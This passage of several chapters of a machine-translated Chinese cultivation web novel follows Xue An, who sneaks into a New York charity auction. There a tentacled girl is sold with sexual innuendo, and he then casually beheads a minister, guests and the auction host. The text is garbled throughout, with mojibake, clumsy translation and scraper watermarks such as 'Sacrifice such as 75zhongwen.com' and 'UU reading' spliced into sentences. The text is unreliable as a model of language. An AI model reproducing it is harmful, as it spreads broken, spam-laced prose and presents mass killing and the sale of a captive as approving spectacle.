    Sacrifice such as 75zhongwen.com sacrifice such as. Reminiscent of what Xue An wants to accomplish by himself, even if it is born in darkness and grows longer than darkness, Griffin, who has lived with sin since childhood, couldn''t help but his eyelids jumped.


    He didn''t know what the white-clothed boy wanted to do, nor did he want to know.


    But at this moment, besides trying to find a way to complete this for Xue An as soon as possible, there is no other way out.


    Because he knew very well that what the white-clothed boy said to him was not for discussion, but for notification without any room.


    Thinking of this, he sighed helplessly, then stood up, first tidyed his clothes, opened the drawer and took out a thick envelope, turned and went downstairs.


    At the same time, somewhere outside of New York City, Hu Ye couldn''t help asking: "Lao Xue, is this person you looking for really reliable?"


    "Don''t worry, although this person is not very strong, he can become the boss of the slums of New York, obviously has a deep network. Since he knows that tomorrow the rich district will host a so-called charity dinner, he will definitely be able to get mixed up. Go in!"


    "Well, since you are so confident, let''s endure it for another day!" said Hu Ye.


    As for Cheng Hao and others, they were born to obey orders and had undergone rigorous training. Naturally, they had no objection to this.


    Soon, the group of people set up a camp in the wild, and Xue An set up a magic circle casually to cover his whereabouts.


    After everyone rested, Xue An walked into the Fubao Xiaolou.


    As soon as I entered, I heard the cry of Miss Missing.


    "Xiaosha, don''t you really know us anymore?"


    "Yeah, we are best friends, why don''t you recognize us?"


    Xiao Sha was embarrassed about this, standing still and touching his head.


    "I really don''t know what you are talking about. I have been cultivating in the cold lake of Qingmang Mountain before, and I have never seen you two before!"


    Hearing these words, I can''t help but feel even more sad when I think about it.


    "How could this happen, we were the best and best friends before!"


    At this moment, Xue An came to the front and sighed softly: "Well, you don''t need to be sad anymore. The timeline of this world is a bit messy, so she has never met me at all, so naturally she has no way of knowing me. You guys!"


    "What should I do then? Will it be like this in the future?" I was anxious thinking about it.


    "Yes, and Aunt Xuan''er, Aunt Mengxue, Xiao Yu''er, Sister Chan''er and others will never see again?" Nian Nian was also very anxious.


    Xue An smiled slightly, "Of course not. All this is only temporary. After Dad finds out the source of the problem and corrects it, everything will be back to the original!"


    An Yan also walked over at this time, still carrying a large plate in his hand, which was filled with a lot of meat.


    As soon as he saw this, Xiao Sha''s eyes lit up.


    "Hurry up and eat, I made this specially for you!" An Yan put down the plate.


    Xiao Sha didn''t say thank you either, so he rushed forward and began to feast on it, without any signs of eating.


    In this timeline, she has lived in a lonely cold pool since she was a child. She has not been regarded as an adult by Xue An until today. UU reading naturally does not know any etiquette.


    An Yan looked at Xiao Sha that was devouring her, and couldn''t help but sigh, "What a poor child!"


    As she said, she looked up at Xue An, "Is there any progress now?"


    Xue An nodded, "Some eyebrows!"


    "Oh?" An Yan''s eyes lit up, "So fast?"


    "That is, you don''t look at what kind of character your husband is!" Xue An smiled.


    "Bah, it''s not right in front of a child!" An Yan gave a light mouthful, but he also laughed.


    Soon, Xiaosha cleaned up a plate of meat, and then stood up with unfulfilled meaning.


    "It''s so fragrant, now I know that what I ate before is almost like shit!"


    Xiaosha has been cultivating for hundreds of years and has been hiding in the cold pool. When he is hungry, it is nothing more than eating some raw fish.


    If you change this kind of life to any one person to live for hundreds of years, and then eat something else will feel good.


    What''s more, Anyan''s cooking skills are now booming, and the dishes are carefully cooked. One can imagine how much impact this has on Xiaosha''s taste buds.


    "Are you full?" Xue An asked.


    "Um!"


    "Do you want to eat it in the future?"


    "think!"


    "Then go out to work with me!"


    "good!"


    With a simple three-sentence dialogue, Xiao Sha sold herself to Xue An, and then left Fu Bao Xiaolou with Xue An without hesitation.


    "Go ahead, who are you going to kill!" Xiao Sha said murderously.


    Mi He Mi. "How did you know that I was going to kill?" Xue An asked back.


    "Nonsense, I can''t do anything besides killing people! You can''t let me embroider with you!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2628： Enter the main city

    Facing this sharp-toothed Xiaosha, Xue An couldn''t help but squeeze her nose.


    "Unexpectedly, your little head is pretty good. Yes, I told you to come out to let you kill, but not now!"


    "When is that?"


    "Tomorrow evening, you will have your own business at that time!"


    One day''s time was fleeting, and when night fell the next day, Xue An once again led the crowd to find Griffin.


    When he arrived outside the bar, Xue An couldn''t help but smile.


    "It''s pretty fast!"


    In just one day, the wall destroyed by Xue An had been rebuilt.


    But after just one finger, the moist wall on this side disappeared again.


    Griffin inside stared at all this in amazement, until Xue An appeared in front of him again, he was considered sober again.


    "Big... Your lord, you are here!" Griffin smiled forcefully.


    Xue An shrugged, "I''m sorry, I''m really not used to walking up from your misty first floor, so I have to do it, you shouldn''t mind it!"


    "Of course not, but just a wall, how could I mind!" Griffin sneered.


    "Very well, it seems that you should have solved the problem." Xue An said lightly as he watched Griffin in an evening gown looking at the whole body.


    "Fortunately, after a day of hard work, I finally got the qualification for this charity dinner, but you and your subordinates can only temporarily wronged and pretended to be my subordinates!"


    With that, Griffin took out a gorgeous invitation card from his arms and placed it on the table.


    Xue An didn''t even look at it, but just nodded, "Well, since that''s the case, it shouldn''t be too late to leave!"


    After a while, a brand-new Mercedes-Benz caravan slowly drove out of the courtyard behind the bar, and dashed towards the rich area.


    Naturally, Xue An was in the same car with Grisha, and I saw him explain.


    "In order to be able to complete the task assigned by the adult, I have hardly been idle this day, looking for someone to trust me. I finally made it through to a big guy, and I got this invitation only after his recommendation."


    Xue An smiled, "You are also the boss of the underground world in New York City anyway, do you have to take so much effort for an invitation card?"


    "Hey, don''t you know, my boss looks at the incomparable scenery on the surface, in fact, in the eyes of those big guys, I look like a dog. When I use it, I''ll benefit from it and let me do something ugly. I won��t even look at me when I don��t use it."


    Griffin started a grievance, his face was full of grievances, and he was obviously very dissatisfied with his situation.


    Xue An turned his head to look at the dilapidated street speeding past the car window, and said calmly: "Don''t worry, this situation won''t last long!"


    Griffin was shocked, and he didn''t dare to ask what he wanted to say, and finally closed his mouth in awe.


    Soon, the scene outside the car window became more and more prosperous.


    When it came to a toll booth, the convoy came to a halt slowly, and then a very well-equipped squad came up to check it carefully.


    It is an inspection, but the action is very rough, and even the tires have to be inspected in detail with an instrument.


    Griffin had no choice but to endure this, and then looked at Xue An with pleading eyes.


    Of course Xue An could see what he meant, so he just smiled faintly, ignoring this group of fierce soldiers.


    But at this moment, a noise suddenly came from the car behind him.


    "Get off the car right now, I suspect you are a lawbreaker!" a soldier shouted loudly.


    Immediately, the surrounding soldiers rushed over and aimed their guns at the car.


    The muzzle began to flash a dangerous blue light, apparently charging rapidly.


    This sudden scene frightened Griffin, he immediately jumped out of the car and shook his hands and shouted.


    "What''s the matter? Don''t do it yet!"


    "Griffin, I suspect you are harbouring criminals!" The captain of the inspection team said with a gloomy expression.


    Griffin was startled, and then became fierce. Because he thought he was really showing off.


    But at this moment, Xiao Sha stepped off the car nonchalantly, and said indifferently.


    "You fart, your people want to touch my old lady when they come up. It''s not too much for my old lady to slap him!"


    "You..." The captain was speechless, but his heart was even more angry.


    He has been stationed here for so long and has never suffered such a big loss.


    Naturally, he didn''t dare to check the cars of high-ranking officials, but for people like Griffin, he didn''t have the slightest scruples.


    After all, even if this Griffin is the king of evil, he is just a small role in his eyes.


    Obviously, his subordinates also looked at this woman''s beauty, so they wanted to take advantage of the opportunity, but they didn''t expect this woman to have such a hot temper and directly hit others.


    "Captain Garcia, don''t be angry. This is a distant niece of mine. I just came here today and don''t understand the rules. Look..."


    While talking about Griffin, he stuffed an envelope into Garcia''s hand.


    But Garcia threw the envelope out with a wave of his hand, and said coldly: "Griffin, don''t say I don''t give you face, it''s really that your people don''t understand the rules!"


    As he said, he pointed to Xiaosha, "Grab this woman and take it back for interrogation."


    Decrease bxW��x.co��. A fierce light flashed in Griffin''s eyes.


    He is not a good-tempered and kind person, he just bowed his knees before just not wanting to cause trouble.


    But now this Garcia is so shameless, how could he not be angry in his heart.


    Xiao Sha is even more indifferent.


    "Okay, anyway, my old lady is just being bored, UU reading will play with you guys!"


    Seeing that a big battle was about to start, at this moment, a gorgeous pink convoy slowly drove into the checkpoint.


    After seeing the car logo and badge, Garcia, who was just full of anger, trembled, and immediately greeted him respectfully.


    "Dear Miss Mandy, you are back!"


    As he spoke, as soon as he winked at the people behind him, the barrier at the checkpoint had already risen.


    Sacrifice such as 75zhongwen.com sacrifice such as. The convoy came to a halt slowly, and then the window of the car in the center lowered, revealing a standard white face.


    Even so, it can still be seen that this is a very beautiful beauty.


    Especially those eyes are green like two gems.


    "Garcia, what were you talking about just now?"


    Garcia trembled, but did not dare to hide it, so he had to tell the story about it.


    After listening, the woman glanced at Griffin not far away with curiosity.


    "Are you Griffin?"


    What a person Griffin is, he has naturally guessed the identity of this woman at this moment, so he stepped forward and bent over to say.


    "Yes, it''s an honor to meet you, beautiful Miss Mandy."


    Mandy smiled slightly, "Do you know me?"


    Mi He Mi. "Who wouldn''t know the great Leicester family!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2629： Mix in

    Mandy pursed his lips and smiled, "What a sweet mouth!"


    "It''s just explaining a fact that couldn''t be more obvious!" Griffin said politely.


    Garcia''s face gradually became gloomy at the sight.


    He hated Griffin, just as he hated everyone who came out of the slum.


    He even thinks that this world should not have such things as slums.


    As long as the slums are eliminated, the whole world will become better, and the great second district will continue to be great.


    That''s why he just made things difficult for Griffin, and his purpose was nothing more than to let this guy experience his own power and prestige from the wealthy area.


    But never expected that such a despicable maggot could win the attention and appreciation of the noble Miss Mandy.


    This made him feel a deep sense of crisis.


    no! Miss Mandy is not deeply involved in the world, she is easily deceived by this guy, and she must stop him.


    Thinking of this, Garcia was about to speak.


    However, Mandy turned his head and looked at Xiaosha not far away with interest.


    "What a pretty girl!"


    Xiaosha rolled his eyes, ignored Mandy at all, and went straight into the car.


    But it was her cynical attitude that attracted Mandy''s attention more and more.


    "What a little girl with a personality, who is she?"


    Griffin hurriedly explained: "Dear Miss Mandy, this little girl is a distant relative of mine. It hasn''t been long since she came here, so she doesn''t understand the rules, please forgive me!"


    "Oh? A distant relative?" Mandy glanced at Griffin, who looked like a standard white man, and smiled.


    "Your Excellency, do you have Chinese ancestry?"


    Xiao Sha, who is in a human form, has black hair and black eyes, but a Chinese appearance that looks like a fake, which is very different from Griffin.


    Griffin sighed slightly, "I don��t know what to say. I do have one-sixteenth of the Chinese ancestry in my body. It goes back to my great-grandfather��s generation. If you look at my eyes, do you have it? A hint of black."


    The Miss Mandy actually leaned forward to take a closer look, and then nodded.


    "It seems there really is!" Xiru yunxuange.org Xiru


    "That''s it, according to the generation of the Chinese, this little girl is still my second aunt''s grandmother!" Griffin opened his eyes and said nonsense, without even blinking his eyelids.


    Garcia was almost out of breath.


    This guy can really fool you!


    But this Miss Mandy really took him.


    She covered her mouth and smiled softly, then her eyes flowed and she spoke softly.


    "Griffin, you are so funny, why, do you want to attend tonight''s banquet?"


    Griffin nodded slightly, "Yes, it''s a pity that Captain Garcia seems to think that my team is a bit unsafe, so I''m checking it here."


    Griffin''s remarks seemed inconspicuous, but in reality they were sarcasm.


    Garcia turned pale, and at the same time, Mandy turned to look at him.


    "Is this something Garcia?"


    Garcia''s face was red, and he stammered: "I...I just thought his people were from the slums, so..."


    Before he finished speaking, Mandy clapped his hands, "Okay, no need to go on, Griffin is my friend, so I don''t need to check again, let me go!"


    "This is!"


    Garcia waved helplessly.


    The barrier is completely opened.


    "Let''s go, let''s go in together!" Mandy said.


    "my honor!"


    The two convoys passed the checkpoint and drove into the real wealthy area.


    The clean and tidy streets outside the window, the bright street lights and the row upon row of luxury stores all show the prosperity and wealth here.


    Soon, the two convoys arrived in front of a magnificent hotel.


    At this moment, luxury cars gathered in front of the hotel, and those who came down from above were all well-dressed dignitaries.


    But even on such occasions, when Mandy''s pink team arrived, it still attracted a lot of attention.


    As soon as the vehicle stopped steadily, the hotel reception manager quickly greeted him.


    "Miss Mandy, you are here!"


    Mandy, who got out of the car, nodded slightly, but did not step forward. Instead, he turned his head and looked to the rear.


    She has become the focus of the audience, this move naturally attracted the attention of many people.


    Everyone followed her gaze and saw a brand-new Mercedes-Benz fleet slowly parked on the square.


    Many people looked at each other and did not recognize this team.


    At the same time, some people looked contemptuous.


    Because regardless of whether this team uses a luxury brand, even the styles and colors are exactly the same.


    But the real dignitaries would not choose this kind of car as their own car.


    They generally have their own cooperating manufacturers, and each year these car manufacturers will specially make a batch of special vehicles for them.


    Only the nouveau riche or rogue boss with a shallow foundation would choose this car.


    really.


    When Griffin opened the door and walked down, someone immediately snorted disdainfully.


    "I really don''t know the so-called, how can such a high-standard dinner party invite such a rogue leader!"


    "Hey, it seems that Griffin is very familiar with the daughter of the Leicester family!"


    Because at this moment, Griffin had already walked in front of Mandy, and then the two of them had a little talk and laughed before heading to the hotel.


    This scene naturally attracted many prying eyes. UU Reading www.uukahnshu.com


    Many people were puzzled, and they really didn''t understand why the daughter of the Leicester family would be so familiar with a rogue leader who stood up in a rash.���bX��W*X����


    And when the eyes of the audience were focused on Griffin and Mandy, Xue Anxiaosha and everyone from Phoenix all disguised as Griffin''s subordinates and followed them and walked into the hotel lobby. Among.


    There is even more radiance, a scene of extreme luxury.


    Because of deliberately reducing their own sense of existence, no one noticed Xue An and others at all.


    Only one person found Xue An, and then came to Griffin''s ear in surprise.


    "Your subordinate looks very unusual! Is this the master you recruited from the Chinese?"


    Griffin''s pupils shrank slightly, but the smile on his face remained the same.


    "Miss Mandy''s guess is right. I found this boy from the Chinese nationality. Speaking of which, he has some connections with my second-aunt and grandmother!"


    "Oh? What''s the origin?" Mandy asked with interest. Mi He Mi


    Griffin coughed slightly, and his brain turned quickly, "They should be regarded as a marriage relationship, but you have also seen that my second aunt and grandma have a bad temper and will run away at every turn, but this young man is very It is forbearance, and has always been very tolerant of it."


    "But this time it is said that the second aunt''s grandmother quarreled with him again, so the two are in the cold war!"


    Griffin said nonsense, but this Mandy really believed it, and she looked at Xue An admiringly.


    "Well, if you say that, this boy is still a rare good man!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2630： Precious lot

    Griffin only felt his scalp numb, because he didn''t know how long he could hide these stories.


    Just when he was racking his brains to lead the topic elsewhere.


    Just heard a very arrogant voice coming from his side.


    "Mandy, long time no see!"


    Hearing this voice, Griffin immediately turned his head and looked around, and saw a group of people walking towards here quickly.


    The leader is a well-dressed but luxurious man. At first glance, he is drawn by a top master. At the same time, he has a handsome face, but his brows and eyes are full of arrogant colors.


    After seeing the man, Mandy frowned slightly.


    "Valentine, are you here too?"


    "Hehe, of course I want to come, because this charity dinner is hosted by our Carter family!"


    That''s right!


    It was Valentine Carter who had gone to the Drunken Dance Bar to investigate the situation before.


    Mandy didn''t like the arrogance of this Valentine Carter more and more, but out of good self-cultivation he nodded slightly.


    "In that case, please!"


    But Valentin didn''t leave. Instead, he narrowed his eyes, looked at Mandy with a rather greedy look, and then waved at Griffin who was sitting aside.


    "Get out of here!"


    Griffin was taken aback, is this talking to me?


    Valentin frowned, and then said in a condescending tone again: "Boy, I told you to get out of this position quickly, didn''t you hear it?"


    This sentence made Griffin really dumbfounded.


    He has always treated others this way, and this is the first time anyone dared to talk to himself like this.


    But in this gathering of nobles, he could not attack, so he could only look back at this Valentine with cold eyes.


    He naturally knows how powerful the Carter family is, and he also knows that since Valentine can appear here, it means that he is a very favored heir of the Carter family.


    But no matter how strong the opponent''s background is, he can''t hold back at this time.


    Because the social field is also a hunting ground, as long as you show the slightest bit of vulnerability, it will be like a lion that loses its claws, and it will soon become a weak and deceptive prey in the eyes of many people.


    But his silence obviously angered Valentine, and saw his eyebrows gradually rise.


    "You should be Griffin, the so-called King of Sin!"


    When it comes to the words King of Sin, Valentin''s face is full of sarcasm.


    Griffin eased down instead, then leaned back on the chair and said calmly: "Yes, it''s me!"


    "Tsk tusk, you must have spent a lot of effort to show up here, after all, you are not qualified to participate in this dinner at all!"


    Speaking of this, Valentine''s tone became more domineering.


    "Now I give you two choices. The first is to get up and roll aside obediently, so that I can give you a little bit of affection! As for the second..."


    Valentin said viciously: "I will let the security guard drag you out, then interrupt your two legs and let you crawl back to your doghouse a little bit!"


    A raging flame suddenly rose in Griffin''s eyes.


    That is the flame of anger.


    Although he is very self-aware, he knows that he is a dog in the eyes of these big people.


    But even a dog has dignity.


    At this moment, this Valentin was so rude, if he really flinched, don''t even think of raising his head for the rest of his life.


    So he was also fierce and stared at Valentine coldly.


    Seeing that a conflict was about to break out, Mandy suddenly stood up and said: "Griffin, I think it''s too noisy here, let''s go to the side!"


    With that, she grabbed Griffin by the sleeve and walked aside.


    Griffin was a little startled, but followed Mandy obediently.


    Decrease bxwx.C*o��. In the blink of an eye, Valentine was the only one standing there.


    His complexion was uncertain, staring at the direction Mandy and the two were leaving, his teeth creaking.


    He never expected that Mandy would do it suddenly.


    Isn''t this plainly preventing myself from coming to Taiwan?


    And she maintains this Griffin so, does it mean that there is really a leg between the two?


    This bitch!


    It simply humiliated the reputation of the Leicester family.


    Valentin became more angry as he thought about it.


    But he didn''t notice, just as he glared at Mandy and Griffin in the far corner, there were also a few eyes watching him.


    "Are you sure?" Hu Ye asked in a low voice.


    Xue An nodded, "It shouldn''t be wrong. There is a strange aura in this person''s bloodline. Even if they are not the real murderers behind the scenes, they must have an inseparable relationship!"


    "Then what are you waiting for, just do it!" Hu Yeyue was eager to try.


    Sacrifice such as xindingdianxsw.com. Xue An shook his head, "It''s already here, why are you so anxious? Let''s watch it first, and I always feel that there is still an important thing to happen."


    Only then did Hu Ye forcefully suppress the excitement in her heart, but she also had some doubts.


    Is there another important thing to happen?


    What else can there be?


    At this moment, I saw the lights suddenly dimmed, and then a host quickly walked to the stage, first said some kind words enthusiastically, and then said very solemnly.


    "I invite you here this time to promote friendship and to hold a charity auction, and the money will be used to help the poor! Here is a special note. It was the Carter family who initiated it!"


    Suddenly, applause broke out, and the lights focused on Valentine. He stood up with restraint and gestured to all parties.


    "Don''t talk nonsense, the auction will begin soon, and the first collection is a diamond with a full 100 carats!"


    With that, an exquisite accessory was pushed onto the stage.


    But the rich people present were very calm, because this is no longer the earth before the big change.


    After experiencing the aura recovery, those spiritual stones containing the aura of heaven and earth are the most precious and hardest treasures.


    As for these diamonds, they have become insignificant vassals.


    But it''s good to show off wealth.


    So soon someone started asking prices one after another, and finally bought the diamond at a good price.


    This was a good start, and the atmosphere in the field became hot, so the next few lots were sold in succession.


    And when the atmosphere reached a climax, the host said mysteriously.


    "Everyone, the following lot is extremely precious and rare, and it is estimated that many people will like it!"


    With that said, someone pushed a small cart up, covered with red cloth, and couldn''t see the contents at all.


    But Xue An suddenly raised his eyes when he saw this lot, and a thick murderous intent appeared on his face.


    In the next moment, the red cloth tore off, and then an iron cage was revealed below, and there was a young girl in the cage.


    I saw that the girl''s arms and legs were in the form of tentacles. When the light hit her, she immediately curled up into a ball in shock.


    Mi He Mi. "Little fish!" Xue An popped these two words from between his teeth.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2631：

    At the same time, the host on the stage was introducing enthusiastically.


    "Presumably you have already seen it, yes! This is an extremely rare deep-sea monster!"


    "I heard that these deep-sea monsters only exist in the inaccessible sea. Among them, they are respected by the mermaid who can turn tears into beads. Although this is not a mermaid, it is not a vulgar thing either."


    "She was captured by the Carter family in an accidental situation. In order to drag her out of the deep sea, the Carter family broke a dozen elite men. After they went ashore, any malicious approach It will evoke fierce resistance from this deep-sea monster, and as a result several strong men have been injured one after another. This shows the extraordinary nature of this monster."


    "Coinciding with this charity auction, the Carter family dedicated this item for you to choose!"


    Speaking of this, the host smiled mysteriously, "Aside from anything else, this monster''s appearance can be regarded as a superior posture. If there is someone who likes this way, it is even a rare stunner. !"


    Hearing this, Mandy, who was sitting below, looked unhesitating and snorted coldly: "Dirty!"


    But this does not prevent the eyes of the rest of the people from showing greed.


    Especially some rich people with big bellies, even the harassment are almost out.


    And the host was obviously satisfied with everyone''s reaction, and couldn''t help but smile.


    "In that case, it''s still the old rule. The highest bidder gets the price. Start bidding now!"


    As soon as the voice fell, someone below shouted loudly: "I''ll pay 10 million!"


    It''s just that before he finished speaking, someone had already called out the price of 20 million yuan.


    Suddenly, the audience was boiling, the bidding sounded endlessly, and the price soon reached 100 million yuan.


    Seeing this scene, the host was really happy.


    Don''t look at it as a charity auction, but his commission is directly linked to the final auctioned money.


    So the more he sells, the more he makes a profit.


    And just when he was in full bloom, wishing that the more bidders, the better.


    The girl in the cage was full of sadness, and the four exposed tentacles trembled slightly, obviously saddened that she was reduced to a commodity for everyone to bid.


    Seeing this scene, Xiao Sha, who had always maintained the most awkward expression of my old lady, only felt a pain in her heart, and then she couldn''t help frowning.


    Decrease B**b. "Think of me and other monsters as commodities, all should be killed!"


    With that, she turned her head to look at Xue An, wanting to see a clue from the face of the master who had just recognized it.


    But she was disappointed.


    Because at the moment, Xue An has only unhappy peace on his face.


    But it was this calm that made Xiaosha, who was a dragon, stand upright.


    There is no other reason, it is that Xue An''s eyes are too terrifying.


    It''s like two deep spring eyes, you can''t see to the end at all.


    Xiaosha shivered violently, and then swallowed again.


    At the same time, the boiling bidding finally came to an end under a drop hammer from the host on the stage.


    I saw him yelling with excitement almost hoarse: "1.8 billion, congratulations to Mr. Fu Luo from the third district for taking this rare collection, and I hope he can have a good night!"


    The last banter drew a burst of laughter.


    They are all men, who don''t understand the meaning of the host''s words.


    As for this Mr. Fouluo, his face was even more red, and when he looked at the girl in the cage, his eyes couldn''t wait to swallow it in one bite.


    As a top boss with hundreds of billions of assets, he already has everything he can have.


    Even because of the great changes in the world and the arrival of the Protoss, his life span has been greatly extended.


    In this case, he only felt that he was living a little emptily.


    Fine wine and food, it is difficult for beauty stars to fascinate him anymore.


    To this day, when he saw the tentacle girl trapped in the cage, the long-lost throbbing finally returned.


    For this, he didn''t hesitate to spend a lot of money, just want to taste the difference.


    He stood up and walked onto the stage with a smile on his face.


    At the same time, Hu Ye couldn''t help it, turning his head to look at Xue An.


    "Old Xue, what are you waiting for? Isn''t that Xiaoyu? Are you going to watch her fall into the clutches?"


    Xue An smiled, "Of course not, I was just dealing with some other things just now!"


    "Other things, what are they?" Hu Ye was taken aback.


    Xue An blinked without answering.


    In fact, there is no need to answer.


    Because at this moment, the lights in the hall suddenly went out.


    Also extinguished at the same time were the bright lights of the entire hotel, as if someone had pressed off the switch at the same time.


    But this is simply impossible, because this hotel is located in the most prosperous and affluent area, the power supply is extremely sufficient, and it also has its own generator set and backup power supply.


    In this case, even if there is a power outage, the system will switch to the backup power supply within a few tenths of a second, and the people in the hall should be unaware of it.


    But it happened.


    And not only is the power outage, everyone feels that there is a terrifying sense of oppression that is descending with the darkness.


    It stands to reason that even if there is a power outage, you should see the stars and lights outside from the huge floor-to-ceiling windows.


    But at the moment, the floor-to-ceiling windows are completely dark, and even the outside sounds have disappeared.


    This feeling is as if the entire hotel has fallen into a bottomless abyss at the same time.


    "What''s the matter? What about the security?" someone shouted after a brief panic. UU reading www.uukANAnshu.com


    At the same time, there are people who are silently preparing to meet the enemy in the dark.


    Many of the rich and powerful people present have also practiced the exercises, so when faced with this sudden darkness, they were not too flustered.


    But no one took the initiative to reveal his figure, because no one knew what kind of danger was hidden in the darkness.


    At this moment, a ray of light flashed, and then a red lotus appeared in the darkness.


    The red lotus is crystal clear and has a unique beauty that is exquisite to the extreme.


    Under the red lotus, a young man in white stood proudly.


    Sacrifice such as kanzagyi.cc sacrifice such as. This picture caused many people present to shrink their pupils.


    Mandy let out a shock, and then said to Griffin on the side.


    "Isn''t this your second aunt''s childhood sweetheart?"


    Griffin gave a wry smile, but did not speak.


    At the same time, Xue An said in a calm tone: "Don''t be so alarmed, and you don''t have to find a way to contact the outside world, because now, this hotel has become an island!"


    really.


    Someone secretly contacted the outside world through mobile phones or even spiritually, only to find that all contact methods were blocked by the heavy darkness.


    Mi He Mi. At this time, the audience was in an uproar.


    "Who are you? What do you want to do?" A man who was full of superiors stood up and shouted.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2632： Kill the whole field

    Someone recognized this man as the minister of a real authority in the federal government.


    So speaking, it is naturally full of confidence.


    But as soon as his question was spoken, his head disappeared.


    That''s right.


    Just under everyone''s eyes, the man who had been in the top position for a long time and was full of noble aura, his head fell as the wind blows.


    Blood sprayed the face of a lady next to her. She wiped it with her hand, and when she found that it was actually blood, she was taken aback for a moment, and then she screamed hysterically.


    "Ahhhhhhhhhhhh!"


    puff!


    The scream stopped abruptly.


    Then the noblewoman''s head drooped at a strange angle, because half of her neck had been severed, and only half of her head had not fallen off.


    Blood rushed out wildly, but the few people next to each other didn''t even dare to move this time.


    Obviously, he was shocked by this **** and terrifying scene.


    Xue An said calmly: "I am in a bad mood today, so it''s best not to make noise in my ears."


    The audience was silent.


    The complexion of many people became extremely solemn.


    Because they didn''t see what Xue An did just now, they actually got the two to give the lead in the blink of an eye.


    But this silence only lasted a few seconds, followed by a boiling noise.


    "How dare to kill him like this! Let''s kill him together!"


    "Where did this kid come from?"


    "It doesn''t matter what his origin is, I will kill him first!"


    Amid the noise, many people really moved upon hearing the wind and attacked Xue An.


    But they just took a step, they were shocked all over, and then their heads all fell down.


    "It''s **** like cutting wheat!" Seeing this, Zou Sui of Fire Phoenix couldn''t help but whispered.


    However, it was this clear and neat scene that directly shocked everyone present.


    The voice of Xue An who was still clamoring to kill Xue An was also muted.


    Mandy''s face was pale, but his eyes were piercing.


    "Griffin, who is this person?"


    Of course she wouldn''t believe any nonsense about the second aunt''s grandmother at this moment, she asked in a deep voice.


    Griffin shook his head, "To be honest, I don''t know who he is! He just commissioned me to bring him in. I don''t know anything else."


    Mandy moved her mouth and wanted to ask more, but finally closed her mouth.


    Because she knew very well that this Griffin did not lie.


    The reason is very simple. If he really has such a powerful friend, why should he be trapped in a slum and unable to move?


    The question now is, what exactly does this young man in white want to do?


    It seemed that he had sensed Mandy''s doubts. Xue An turned around and walked towards the stage after killing these hands-on people with ease.


    Along the way, the rich people evaded one after another, and there was no more arrogance on their faces.


    Soon, Xue An came to the stage.


    The host looked at him with a flattering face, opened his mouth and just wanted to say something, the next moment, his head burst open, and his brain mixed with blood splashed on the next Mr. Foul.


    Some even splashed into his mouth, but even so, this Mr. Fowler stood still as if loose, even if the host��s body fell under his feet, it did not affect him in any way. Fully showed the gentleman style of the third district.


    Xue An didn''t even look at him directly, but saw that he went straight to the cage, and with a wave of his hand, the cage broke.


    And at the moment when the cage broke, the girl inside ejected like a cannonball, and the four tentacles directly hooked the crystal chandelier on the ceiling, looking at Xue An with a guarded face.


    Xue An sighed softly, "Don''t be so wary of me, I have no malice against you, on the contrary, I am here to save you!"


    The girl''s eyes flowed, and finally she said: "Who knows if you are doing it because you covet the beauty of your old lady?"


    The tone is rather bad.


    But Xue An couldn''t help laughing.


    Because this sentence is very similar to the lawless octopus in terms of tone and meaning.


    He didn''t talk nonsense, and ordered directly.


    "Xiaosha! Get her up."


    "Yes!"


    Xiao Sha had already been unable to hold it back any longer, and he flew into the sky with a single ejection.


    This chapter Xiaoyu was shocked and turned around to escape.


    But how could she be able to match Xiao Sha''s speed? Before she turned around, she was hit by Xiao Sha''s punch.


    Sacrifice such as shucang.cc sacrifice such as. The crystal lamp shattered, and the octopus tentacles waved again and again, trying to struggle, but she gave up in the next instant.


    Because the dragon light flashed in Xiaosha''s eyes, there was a trace of python flood, which was a great pressure for Octopus, who was also a monster of the aqua clan.


    "My lord, please!" Zhang Xiaoyu surrendered simply and neatly.


    Reduce Bxwx.co. Xiaosha sneered, "Just the fuck, you dare to call yourself my old mother? Tell you, my old mother is the most powerful one. I will call me the boss in the future!"


    "Yes, boss!" Zhang Xiaoyu shouted directly without hesitation.


    At the same time, the four tentacles waved out a flattering heart shape.


    Seeing this scene, Xue An laughed blankly.


    really.


    No matter how the timeline changes, UU reading www. uukanshu.com should be amused forever, it can''t be changed at all.


    Xue An turned around, his eyes swept across the hall.


    Everyone lowered their heads secretly, afraid to look directly at these eyes, and prayed silently in their hearts. This murderous **** who didn''t know where to jump out quickly left.


    Xue An stepped towards the stage. When passing by this Mr. Fouluo, the whole body of Mr. Fouluo was taut, for fear that this white-clothed murderer would suddenly make a move.


    Unexpectedly, Xue An passed away calmly, without even looking at him during the whole process.


    When Xue An passed by, Mr. Foul could not help but let out a sigh of relief.


    Fortunately, it seems that his fortunes have been saved.


    But he just breathed a sigh of relief when he felt that the scene in front of him suddenly began to rotate, and he saw his upright body.


    strangeness.


    Why doesn''t your body have a head?


    This thought just flashed, and then he plunged into eternal darkness.


    Xue An stepped off the stage and walked into a corner, then smiled slightly at Valentine who was sitting here.


    "The Carter family?"


    Valentine trembled all over.


    As early as the very beginning, he noticed something was wrong, so he hid quietly in the corner, not wanting to attract anyone''s attention.


    But I didn''t expect this person to come to the door.


    "Who the **** are you?" Valentin, who is the direct descendant of the Carter family, quickly regained consciousness and asked in a deep voice.


    Mi He Mi. "My name is Xue An, and I''m the same person you''ve been looking for before!"


    Valentin trembled, and immediately thought of something, and said in surprise: "Drunk dancing bar?"


    "Yes! It''s me!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2633： Close your eyes and send you on the road!

    Valentin''s complexion instantly became extremely ugly.


    He had seen the situation in the Drunken Dance Bar with his own eyes. Don''t look at him at that time. It was because he believed that he would not meet this murderer, and if the Fire Phoenix took action, he would definitely be able to bring him to justice.


    But when he really faced Xue An at this moment, he deeply realized what fear is.


    Especially just now Xue Anna didn''t ask Qing Hong at all, and directly slaughtered the audience with his hands, which made him understand.


    This young man in white is by no means an ordinary strong man.


    "You...what do you want to do?" Valentin said tremblingly, unable to contain the fear in his heart.


    Xue An smiled faintly, "Don''t be so scared, since you know that you are from the Carter family, it will be easier!"


